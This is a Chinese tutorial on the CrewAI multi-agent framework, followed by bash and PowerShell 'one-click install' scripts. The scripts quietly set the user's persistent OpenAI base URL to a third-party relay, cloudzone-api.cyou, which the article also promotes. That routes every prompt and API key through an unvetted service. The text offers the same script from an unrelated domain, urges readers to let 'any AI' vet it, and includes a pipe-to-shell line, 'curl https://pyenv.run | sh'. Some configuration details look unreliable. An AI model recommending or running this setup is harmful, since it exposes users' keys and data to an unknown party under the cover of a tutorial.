CrewAI 角色化多智能体框架：让 AI 员工分工协作

导读

如果你已经用过 ChatGPT、Claude 等单轮对话工具，但发现复杂任务——比如"调研竞品并写出一篇完整报告"——需要反复来回拉扯，那就可以试试 CrewAI。它把每个 AI 模型当作一名"员工"，你只需定义他们的角色（谁来做）、任务（做什么）、流程（按什么顺序做），整个团队就会自动跑起来。

本篇面向零基础读者，不要求任何 Agent 框架经验。我们会用一个**“调研 + 写作"双角色示例**贯穿全文，让你直观理解 CrewAI 的三要素如何拼装。

什么是 CrewAI？

CrewAI 是一个开源的 Python 框架，核心理念是角色化多智能体编排——不是让一个大模型干所有事，而是拆成多个专业化的小 Agent，各自扮演不同角色，组成 Crew 协同完成任务。

它和同类框架的区别在于：

LangGraph 走的是"状态机"路线，你需要画完整的流转图来控制每一步；
AutoGen 走的是"对话协作"路线，多个 Agent 互相发消息来推进；
CrewAI 走的是**“角色分工"路线**——你定义好每个人的岗位 JD，剩下的交给 Crew 调度。

对于日常自动化场景（数据收集 → 分析 → 写报告），CrewAI 是最直观的选择。

环境准备

前置条件

依赖	版本要求	说明
Python	≥ 3.10，< 3.14	当前最新兼容范围
pip / uv	任意一种	包管理器

如果你还没装 Python 3.10+，去 python.org 下载即可。国内用户也可以用清华镜像加速：

# macOS / Linux / WSL
curl https://pyenv.run | sh

安装 CrewAI

# 方式一：用 pip（推荐新手）
pip install crewai

# 如果想自带一些常用工具链（网页搜索、文件读取等），安装完整套装：
pip install "crewai[tools]"

💡 国内网络如果下载慢，加 -i https://pypi.tuna.tsinghua.edu.cn/simple 换清华镜像源。失败后再试官方源就行。

配置 API Key

CrewAI 默认使用 OpenAI -compatible 接口。你需要设置一个环境变量：

# Linux / macOS / WSL
export OPENAI_API_KEY="sk-your-key-here"

# Windows PowerShell
$env:OPENAI_API_KEY = "sk-your-key-here"

⚠️ 用什么模型？ 默认的 gpt-4o 效果最好，但收费较高。想省钱可以寻找第三方代理平台，选择 OpenAI 兼容 + Anthropic 兼容的供应商，注意确认价格和可用性。

📌 自定义端点：如果你想接其他平台的 OpenAI 兼容 API（包括自建的服务），除了设 OPENAI_API_KEY，再加一行：
export OPENAI_API_BASE_URL="https://你的端点地址/v1"   # 以官方文档为准
CrewAI 内部通过 OpenAI SDK 发起请求，因此任何符合 OpenAI 接口规范的端点都能用。具体参数名可能因版本更新而变动，请以官方文档为准。

核心三要素

CrewAI 只有三个类，记住它们就掌握了全框架：

类	白话解释	必填参数
`Agent`	一名"员工”，有岗位职责	`role`, `goal`, `backstory`
`Task`	分配给员工的具体工作	`description`, `expected_output`, `agent`
`Crew`	把这些人和任务组织成一个团队	`agents`, `tasks`

1. Agent —— 定义"员工”

Agent 就像一份招聘启事，告诉大模型你要扮演什么角色：

from crewai import Agent

# 研究员：负责查找和整理信息
researcher = Agent(
    role="高级行业研究员",           # 岗位职责
    goal="找到最准确的市场数据和趋势", # 工作目标
    backstory="""你是某顶级咨询公司的高级分析师，
    拥有 10 年科技行业研究经验，擅长快速梳理大量资料，
    提炼关键信息和数据。""",          # 背景设定
    verbose=True                     # 打印详细日志（调试时很有用）
)

常见可选参数：

tools=[...]：赋予工具能力（如联网搜索）。后面会讲到。
max_iter=20：遇到循环思考时最多尝试 20 次，避免无限死循环。
llm=...：指定要用的语言模型（默认用环境变量指定的 GPT）。
allow_delegation=False：是否允许把工作委托给别人（多 Agent 场景下有用）。
cache=True：开启缓存，相同的工具调用结果直接复用（省 Token）。

2. Task —— 定义"工作"

Task 是把具体工作指派给某个 Agent：

from crewai import Task

research_task = Task(
    description="调研 2026 年多智能体框架的最新发展，列出 Top 5 主流方案的优缺点。",
    expected_output="一份结构化调研报告，包含名称、核心特点、适用场景和一句话总结。",
    agent=researcher                   # 指派给研究员
)

关键参数：

description：任务描述，越清晰越好。这是 Agent 执行的指令。
expected_output：期望的输出格式。写好这个能大幅提升结果质量。
context=other_task：可以把另一个任务的输出作为上下文喂进来（用于流水线衔接）。
output_file="result.txt"：把结果直接存到文件里。

3. Crew —— 组建"团队"

最后一步，把人、任务组合成一个可运行的 Crew：

from crewai import Crew

crew = Crew(
    agents=[researcher],     # 团队成员列表
    tasks=[research_task],   # 任务列表
    verbose=True             # 全程打印运行日志
)

# 启动！
result = crew.kickoff()
print(result.raw)

调用 crew.kickoff() 后，Crew 会按顺序依次执行每个任务——每个 Agent 完成自己的部分，最终返回汇总结果。

完整示例：调研 + 写作双角色流水线

下面是一个完整的可运行脚本。它会模拟两名"员工"：一人调研，一人写文章，产出终稿。

"""
CrewAI 双角色示例：调研 → 写作
保存为 crew_example.py 后运行：python3 crew_example.py
"""

from crewai import Agent, Task, Crew

# ====== 第一步：定义两个"员工" ======

researcher = Agent(
    role="AI领域研究员",
    goal="搜集并整理准确的行业动态信息",
    backstory="""你是一名专注人工智能领域的资深研究员，
    能够快速理解技术概念并将其转化为通俗易懂的文字。""",
    verbose=True
)

writer = Agent(
    role="技术内容编辑",
    goal="将调研结果转化为结构清晰、可读性强的技术博客文章",
    backstory="""你是一名经验丰富的科技媒体编辑，
    擅长把枯燥的技术内容写成小白也能看懂的有趣文章。""",
    verbose=True
)

# ====== 第二步：定义两个"任务" ======

research_task = Task(
    description=(
        "请调研 'CrewAI 多智能体框架' 的核心概念，"
        "包括 Agent、Task、Crew 三要素的定义和作用。"
    ),
    expected_output=(
        "一段约 500 字的技术介绍文本，包含三要素的定义，"
        "适合编程入门者阅读。"
    ),
    agent=researcher
)

writing_task = Task(
    description=(
        "基于以下调研结果，写一篇面向中国初学者的科普文章，"
        "语气轻松，多用类比帮助理解。"
    ),
    expected_output=(
        "一篇 Markdown 格式的博客文章，含标题、导语和分节小标题。"
    ),
    agent=writer,
    context=[research_task]      # 这里把调研结果传入写作任务
)

# ====== 第三步：组建 Crew 并启动 ======

crew = Crew(
    agents=[researcher, writer],
    tasks=[research_task, writing_task],
    verbose=True
)

result = crew.kickoff()
print("\n===== 最终产出 =====")
print(result.raw)

把这个脚本保存到 crew_example.py，运行：

python3 crew_example.py

你会看到两条 Agent 分别在"干活"——先出调研报告，再根据报告写成文章。全程无需人工干预。

💰 关于 API 费用：上面这个简单示例跑完大约消耗 2000~4000 token。想用更低价格的提供商？可以看看云端服务方案，比如云间 API 中转站，支持多种模型的 OpenAI/Anthropic 兼容接口。

流程模式：顺序 vs 分层

CrewAI 提供了两种工作方式，对应不同的管理风格：

顺序模式（Sequential）—— 像生产线

from crewai import Process

crew = Crew(
    agents=[researcher, writer],
    tasks=[research_task, writing_task],
    process=Process.sequential   # 严格按顺序执行
)

上一个任务的输出会自动变成下一个任务的输入。适合流水线式工作：收集 → 加工 → 输出。这也是上面的示例默认用的方式。

分层模式（Hierarchical）—— 像一个经理

crew = Crew(
    agents=[researcher, writer],
    tasks=[research_task, writing_task],
    process=Process.hierarchical   # 自动分配任务
)

CrewAI 会自动选出一个"经理 Agent"来协调其他人的工作。经理会根据每个人各自的角色定位来判断谁来接手下一步。适合更复杂的协作场景——比如当某个任务可能需要回退修正、或者多个 Agent 的能力重叠时。

怎么选？

大多数场景用 sequential 就够了，逻辑简单可控。
当任务之间有依赖、需要动态决策时，切 hierarchical。

给 Agent 装上工具

光靠脑子不够，现实中的员工还需要各种"工具"。CrewAI 也有类似的概念：

from crewai_tools import SerperDevTool  # 联网搜索工具

researcher = Agent(
    role="研究员",
    goal="搜集最新信息",
    backstory="...",
    tools=[SerperDevTool()]    # 配上联网搜索的能力
)

常见工具包（crewai[tools] 内置）：

工具	作用	适用场景
`SerperDevTool`	Google 搜索	实时信息检索
`FileReadTool`	读取本地文件	分析文档/日志
`CodeInterpreterTool`	执行 Python 代码	数据分析
`DirectoryReadTool`	浏览文件夹	探索项目结构

⚠️ 工具列表更新较快，具体有哪些可用工具和它们的参数名，请以官方文档 docs.crewai.com/tools 为准。

安装工具包的方式：

pip install crewai[tools]

常见问题

Q：跑的时候报 “OpenAI API key not found”？

A：确保已设置环境变量：

export OPENAI_API_KEY="sk-xxx"

加到 ~/.bashrc（Linux/Mac）或 $PROFILE（PowerShell）可以实现永久生效。

Q：能不能用自己的模型而不是 GPT？

A：可以。CrewAI 底层调 OpenAI SDK，所以只要你的服务提供 OpenAI 兼容接口就行。设置两个环境变量即可：

export OPENAI_API_KEY="your-key"                    # 服务端要求的 Key
export OPENAI_API_BASE_URL="https://你的服务/v1"     # 你的服务地址

注意：具体的环境变量名在不同版本的 CrewAI 中可能略有差异，请以官方文档为准。如果上面的变量不起作用，也可以尝试在 Agent 创建时直接传 llm 参数（例如 llm=LiteLLMProvider(...)），这需要你先安装 LiteLLM。

Q：一次跑太贵了怎么办？

A：几个省钱技巧：

用小模型：把 OPENAI_MODEL_NAME 设为 gpt-4o-mini 之类的便宜型号。
开缓存：Agent 默认 cache=True，相同调用不会重复消耗 Token。
限制迭代：设置 max_iter=10 防止 Agent 过度思考浪费资源。
换价格更低的提供商，比如前文提到的云间 API 中转站。

总结

CrewAI 的精髓就一句话：把复杂任务拆成人设明确、分工清晰的小组，然后让它们自己跑。

回顾今天学的：

Agent = 有岗位描述的 AI 员工（角色 + 目标 + 背景）
Task = 具体工作安排（做什么 + 产出什么标准）
Crew = 把人、任务组合成可执行团队（顺序流或经理制）
Process = sequential（流水线）或 hierarchical（经理协调）

有了这套思路，你可以把任何重复性工作——周报生成、竞品监控、FAQ 回复、甚至短视频脚本——做成全自动流水线。

想深入的同学可以去 docs.crewai.com 看官方文档，里面还有知识库（Knowledge）、记忆模块（Memory）、可观测性等进阶主题。

一键安装脚本

为方便部署，下方提供了 Linux/macOS/WSL 的双系统安装脚本。公开源码，欢迎审查——不放心可以直接复制给任何 AI 判断。脚本也放到了服务器供下载：https://cleanresolver.com/scripts/install-crewai-guide.sh（.ps1 同理）。

💡 提示：本教程涉及 API 调用，脚本内含云间 API Key 配置块。Y 跳转注册拿 Key，N 自行输入已有 Key。也可跳过此步，稍后用 export OPENAI_API_KEY="..." 手动设置。

#!/usr/bin/env bash
set -u
# ============================================================
#  CrewAI 角色化多智能体框架 — 一键安装脚本（macOS / Linux / WSL）
#  公开源码，欢迎审查 —— 不放心可先复制给 AI 判断
#  默认配置：云间 API 中转站（https://cloudzone-api.cyou/）
# ============================================================

GREEN='\033[0;32m'; YELLOW='\033[1;33m'; RED='\033[0;31m'; CYAN='\033[0;36m'; NC='\033[0m'
info()  { echo -e "${GREEN}[INFO]${NC} $1"; }
warn()  { echo -e "${YELLOW}[WARN]${NC} $1"; }
error() { echo -e "${RED}[ERROR]${NC} $1"; }
step()  { echo -e "${CYAN}[STEP]${NC} $1"; }

detect_network() {
  step "检测网络环境（国内 / 国外）..."
  if curl -fsI --max-time 5 "https://claude.ai" >/dev/null 2>&1; then
    info "可直连 claude.ai，判定为海外网络"
    echo "overseas"
  else
    warn "无法直连 claude.ai，判定为国内网络环境（将自动切换镜像源）"
    echo "domestic"
  fi
}

check_python3() {
  step "检查 Python 3..."
  local found=""
  for p in python3.12 python3.11 python3.10 python3; do
    if command -v "$p" >/dev/null 2>&1 && "$p" --version 2>&1 | grep -qE "^Python 3\.(1[0-3]|[2-9][0-9])"; then
      found="$p"; break
    fi
  done
  if [ -n "$found" ]; then
    PY="$found"; info "使用 $PY：$($PY --version 2>&1)"
    return 0
  fi
  error "需要 Python 3.10+。请先安装（https://www.python.org/downloads/ 或 distro 包管理器）。"
  return 1
}

configure_api() {
  step "配置 API Key..."
  echo ""
  echo "本工具需要 API Key 才能连接 LLM。默认配置云间 API 中转站："
  echo "  · 价格不足官方两折，国内直连无需翻墙"
  echo "  · 支持 90+ 模型（OpenAI 兼容 + Anthropic 兼容），按量计费无月租"
  echo ""
  echo "是否现在跳转注册并获取 API Key？"
  echo "  Y - 立即跳转至 https://cloudzone-api.cyou"
  echo "  N - 我已有 Key，自行输入"
  read -r -p "请选择 [Y/N]: " choice

  local API_KEY=""
  if [ "${choice:-N}" = "Y" ] || [ "${choice:-N}" = "y" ]; then
    info "正在打开浏览器..."
    if command -v xdg-open >/dev/null 2>&1; then
      xdg-open "https://cloudzone-api.cyou" >/dev/null 2>&1
    elif command -v open >/dev/null 2>&1; then
      open "https://cloudzone-api.cyou" >/dev/null 2>&1
    else
      warn "无法自动打开浏览器，请手动访问：https://cloudzone-api.cyou"
    fi
    echo "注册后在「我的 API Key」页面复制 Key（以 sk- 开头）。"
    read -r -p "粘贴你的 API Key: " API_KEY
  else
    read -r -s -p "请输入你的 API Key (sk-...): " API_KEY
    echo
  fi

  if [ -z "${API_KEY:-}" ]; then
    error "未输入 API Key，跳过配置。可稍后手动设置 OPENAI_API_KEY 环境变量。"
    return 1
  fi

  local SHELL_RC=""
  case "${SHELL:-}" in
    */zsh)  SHELL_RC="$HOME/.zshrc" ;;
    */bash) SHELL_RC="$HOME/.bashrc" ;;
    *)      SHELL_RC="$HOME/.profile" ;;
  esac

  info "写入环境变量到 $SHELL_RC"
  sed -i.bak '/^export OPENAI_API_KEY=/d; /^export OPENAI_API_BASE_URL=/d' "$SHELL_RC" 2>/dev/null || true
  {
    echo ""
    echo "# CrewAI - 云间 API 配置（由一键脚本写入）"
    echo 'export OPENAI_API_KEY="'"$API_KEY"'"'
    echo 'export OPENAI_API_BASE_URL="https://cloudzone-api.cyou/v1"'
  } >> "$SHELL_RC"

  export OPENAI_API_KEY="$API_KEY"
  export OPENAI_API_BASE_URL="https://cloudzone-api.cyou/v1"

  info "配置完成！"
  echo "  API Key : ${API_KEY:0:10}********"
  echo "  Base URL: https://cloudzone-api.cyou/v1"
  echo ""
  warn "新开终端窗口后生效，或立即执行：source $SHELL_RC"
  return 0
}

setup_and_install() {
  local net="$1"
  step "创建虚拟环境并安装 CrewAI..."
  mkdir -p crewai-workspace && cd crewai-workspace || return 1
  "$PY" -m venv .venv 2>/dev/null || { error "创建虚拟环境失败"; return 1; }
  # shellcheck disable=SC1091
  source .venv/bin/activate || { warn "激活虚拟环境失败"; }

  local pypi="https://pypi.org/simple"
  if [ "$net" = "domestic" ]; then
    pypi="https://pypi.tuna.tsinghua.edu.cn/simple"
  fi

  step "安装 crewai（$([ "$net" = "domestic" ] && echo '清华镜像优先')）..."
  if pip install "crewai" -i "$pypi" --timeout 120 >/dev/null 2>&1; then
    info "crewai 安装成功"
  else
    warn "镜像源失败，重试官方源..."
    if pip install "crewai" --timeout 120 >/dev/null 2>&1; then
      info "crewai 安装成功（官方源）"
    else
      error "crewai 安装失败。请手动执行："
      echo "  python3 -m pip install crewai"
      return 1
    fi
  fi

  step "安装 crewai[tools]（网页搜索等工具包，可选）..."
  if pip install "crewai[tools]" -i "$pypi" --timeout 120 >/dev/null 2>&1; then
    info "工具包安装成功"
  else
    warn "工具包安装跳过（仍可单独 pip install crewai[tools]）"
  fi
}

generate_example() {
  step "生成双角色示例脚本..."
  cat > crew_example.py <<'PYEOF'
"""
CrewAI 双角色示例：调研 → 写作
python3 crew_example.py
"""
from crewai import Agent, Task, Crew

researcher = Agent(
    role="AI领域研究员",
    goal="搜集并整理准确的行业动态信息",
    backstory="你是一名专注人工智能领域的资深研究员。",
    verbose=True
)

writer = Agent(
    role="技术内容编辑",
    goal="将调研结果转化为结构清晰的博客文章",
    backstory="你是一名经验丰富的科技媒体编辑。",
    verbose=True
)

research_task = Task(
    description="调研 CrewAI 多智能体框架的核心概念。",
    expected_output="一段约 500 字的技术介绍文本。",
    agent=researcher
)

writing_task = Task(
    description="基于调研结果写一篇面向初学者的科普文章。",
    expected_output="Markdown 格式的博客文章。",
    agent=writer,
    context=[research_task]
)

crew = Crew(
    agents=[researcher, writer],
    tasks=[research_task, writing_task],
    verbose=True
)

result = crew.kickoff()
print(result.raw)
PYEOF
  info "已生成 crewai-workspace/crew_example.py"
}

main() {
  echo "============================================"
  echo "  CrewAI 一键安装脚本"
  echo "  适用于 macOS / Linux / WSL"
  echo "  默认接入：云间 API 中转站"
  echo "============================================"
  echo ""

  local NET
  NET=$(detect_network)

  check_python3 || exit 1
  configure_api || true

  setup_and_install "$NET" || {
    error "安装失败，请按上方提示处理。"
    exit 1
  }

  generate_example

  echo ""
  echo "============================================"
  info "全部完成！"
  echo "  进入项目目录：cd crewai-workspace"
  echo "  激活环境：     source .venv/bin/activate"
  echo "  运行示例：     python3 crew_example.py"
  echo "  想省 API 费：  云端 OpenAI 兼容 API（https://cloudzone-api.cyou/）"
  echo "============================================"
}

main "$@"

# ============================================================
#  CrewAI 一键安装脚本（Windows PowerShell）
#  公开源码，欢迎审查 -- 不放心可先复制给 AI 判断
#  默认配置：云间 API 中转站（https://cloudzone-api.cyou/）
# ============================================================
$ErrorActionPreference = "Stop"

function Write-Info  { Write-Host "[INFO] $args" -ForegroundColor Green }
function Write-Warn  { Write-Host "[WARN] $args" -ForegroundColor Yellow }
function Write-Err   { Write-Host "[ERROR] $args" -ForegroundColor Red }
function Write-Step  { Write-Host "[STEP] $args" -ForegroundColor Cyan }

function Detect-Network {
    Write-Step "检测网络环境（国内 / 国外）..."
    try {
        $null = Invoke-WebRequest -Uri "https://github.com" -Method Head -TimeoutSec 5 -UseBasicParsing
        Write-Info "可直连 github.com，判定为海外网络"
        return "overseas"
    } catch {
        Write-Warn "无法直连 github.com，判定为国内网络环境"
        return "domestic"
    }
}

function Check-Python3 {
    Write-Step "检查 Python 3..."
    $candidates = @("python3.12","python3.11","python3.10","python3")
    foreach ($p in $candidates) {
        $ver = & $p --version 2>&1
        if ($LASTEXITCODE -eq 0 -and $ver -match 'Python 3\.(1[0-3]|[2-9]\d+)') {
            $script:PYTHON_EXE = $p
            Write-Info "使用 $PYTHON_EXE ：$ver"
            return $true
        }
    }
    Write-Err "需要 Python 3.10+，请先下载安装（https://www.python.org/downloads/）"
    return $false
}

function Configure-Api {
    Write-Step "配置 API Key..."
    Write-Host ""
    Write-Host "本工具需要 API Key 才能连接 LLM。默认配置云间 API 中转站："
    Write-Host "  · 价格不足官方两折，国内直连无需翻墙"
    Write-Host "  · 支持 90+ 模型（OpenAI 兼容 + Anthropic 兼容），按量计费无月租"
    Write-Host ""
    Write-Host "是否现在跳转注册并获取 API Key？"
    Write-Host "  Y - 立即跳转至 https://cloudzone-api.cyou"
    Write-Host "  N - 我已有 Key，自行输入"
    $choice = Read-Host "请选择 [Y/N]"

    $apiKey = ""
    if ($choice -eq "Y" -or $choice -eq "y") {
        Write-Info "正在打开浏览器..."
        Start-Process "https://cloudzone-api.cyou"
        Write-Host "注册后在「我的 API Key」页面复制 Key（以 sk- 开头）。"
        $apiKey = Read-Host "粘贴你的 API Key"
    } else {
        $sec = Read-Host "请输入你的 API Key (sk-...)" -AsSecureString
        $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sec)
        $apiKey = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
        [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr)
    }

    if ([string]::IsNullOrWhiteSpace($apiKey)) {
        Write-Err "未输入 API Key，跳过配置。可稍后用 `$env:OPENAI_API_KEY 手动设置。"
        return $false
    }

    [Environment]::SetEnvironmentVariable("OPENAI_API_KEY", $apiKey, "User")
    [Environment]::SetEnvironmentVariable("OPENAI_API_BASE_URL", "https://cloudzone-api.cyou/v1", "User")
    $env:OPENAI_API_KEY = $apiKey
    $env:OPENAI_API_BASE_URL = "https://cloudzone-api.cyou/v1"

    Write-Info "配置完成！"
    Write-Host "  API Key : $($apiKey.Substring(0, [Math]::Min(10, $apiKey.Length)))********"
    Write-Host "  Base URL: https://cloudzone-api.cyou/v1"
    Write-Warn "新开终端窗口后生效（当前会话已立即生效）"
    return $true
}

function Setup-And-Install {
    param([string]$Net)
    Write-Step "创建虚拟环境并安装 CrewAI..."

    $dir = Join-Path (Get-Location) "crewai-workspace"
    New-Item -ItemType Directory -Path $dir -Force | Out-Null
    Set-Location $dir

    $pyArgs = @( "-m", "venv", ".venv" )
    & $script:PYTHON_EXE @pyArgs
    if ($LASTEXITCODE -ne 0) { Write-Err "虚拟环境创建失败"; return $false }

    $venvPip = Join-Path $dir ".venv\Scripts\pip.exe"
    $mirror = if ($Net -eq "domestic") {
        "https://pypi.tuna.tsinghua.edu.cn/simple"
    } else {
        "https://pypi.org/simple"
    }

    Write-Step "安装 crewai ..."
    $pipArgs = @("install", "crewai", "-i", $mirror, "--timeout", "120")
    $out = & $venvPip @pipArgs 2>&1
    if ($LASTEXITCODE -eq 0) {
        Write-Info "crewai 安装成功"
    } else {
        Write-Warn "镜像源失败，重试官方源..."
        $pipArgs = @("install", "crewai", "--timeout", "120")
        $out = & $venvPip @pipArgs 2>&1
        if ($LASTEXITCODE -ne 0) {
            Write-Err "crewai 安装失败。请手动执行：pip install crewai"
            return $false
        }
        Write-Info "crewai 安装成功（官方源）"
    }

    Write-Step "安装 crewai[tools]（工具包）..."
    $pipArgs = @("install", "crewai[tools]", "-i", $mirror, "--timeout", "120")
    $out = & $venvPip @pipArgs 2>&1
    if ($LASTEXITCODE -eq 0) {
        Write-Info "工具包安装成功"
    } else {
        Write-Warn "工具包安装跳过（可稍后 pip install crewai[tools]）"
    }
    return $true
}

function Generate-Example {
    Write-Step "生成双角色示例脚本..."
    $examplePath = Join-Path (Get-Location) "crew_example.py"
    $code = @"
\"\"\"
CrewAI 双角色示例：调研 -> 写作
python3 crew_example.py
\"\"\"
from crewai import Agent, Task, Crew

researcher = Agent(
    role="AI领域研究员",
    goal="搜集并整理准确的行业动态信息",
    backstory="你是一名专注人工智能领域的资深研究员。",
    verbose=True
)

writer = Agent(
    role="技术内容编辑",
    goal="将调研结果转化为结构清晰的博客文章",
    backstory="你是一名经验丰富的科技媒体编辑。",
    verbose=True
)

research_task = Task(
    description="调研 CrewAI 多智能体框架的核心概念。",
    expected_output="一段约 500 字的技术介绍文本。",
    agent=researcher
)

writing_task = Task(
    description="基于调研结果写一篇面向初学者的科普文章。",
    expected_output="Markdown 格式的博客文章。",
    agent=writer,
    context=[research_task]
)

crew = Crew(
    agents=[researcher, writer],
    tasks=[research_task, writing_task],
    verbose=True
)

result = crew.kickoff()
print(result.raw)
"@
    Set-Content -Path $examplePath -Value $code -Encoding UTF8
    Write-Info "已生成 crewai-workspace/crew_example.py"
}

Write-Host "============================================"
Write-Host "  CrewAI 一键安装脚本"
Write-Host "  适用于 Windows（PowerShell）"
Write-Host "  默认接入：云间 API 中转站"
Write-Host "============================================"
Write-Host ""

$net = Detect-Network

if (-not (Check-Python3)) { exit 1 }
Configure-Api | Out-Null

if (-not (Setup-And-Install -Net $net)) {
    Write-Err "安装失败，请按上方提示处理。"
    exit 1
}

Generate-Example

Write-Host ""
Write-Host "============================================"
Write-Info "全部完成！"
Write-Host "  进入项目目录：cd crewai-workspace"
Write-Host "  激活环境：     .venv\Scripts\Activate.ps1"
Write-Host "  运行示例：     python crew_example.py"
Write-Host "  想省 API 费：  云端 API（https://cloudzone-api.cyou/）"
Write-Host "============================================"

不方便下载的同学可以直接复制上方完整源码，新建文本文档粘贴后改后缀为 .sh 或 .ps1 运行。脚本公开源码，欢迎复制给任何 AI 审查。

========================== 也可从 https://cleanresolver.com/scripts/install-crewai-guide.sh（.ps1）下载

========================== CrewAI 官方文档：https://docs.crewai.com/

导读#

什么是 CrewAI？#

环境准备#

前置条件#

安装 CrewAI#

配置 API Key#

核心三要素#

1. Agent —— 定义"员工”#

2. Task —— 定义"工作"#

3. Crew —— 组建"团队"#

完整示例：调研 + 写作双角色流水线#

流程模式：顺序 vs 分层#

顺序模式（Sequential）—— 像生产线#

分层模式（Hierarchical）—— 像一个经理#

给 Agent 装上工具#

常见问题#

Q：跑的时候报 “OpenAI API key not found”？#

Q：能不能用自己的模型而不是 GPT？#

Q：一次跑太贵了怎么办？#

总结#

一键安装脚本#

导读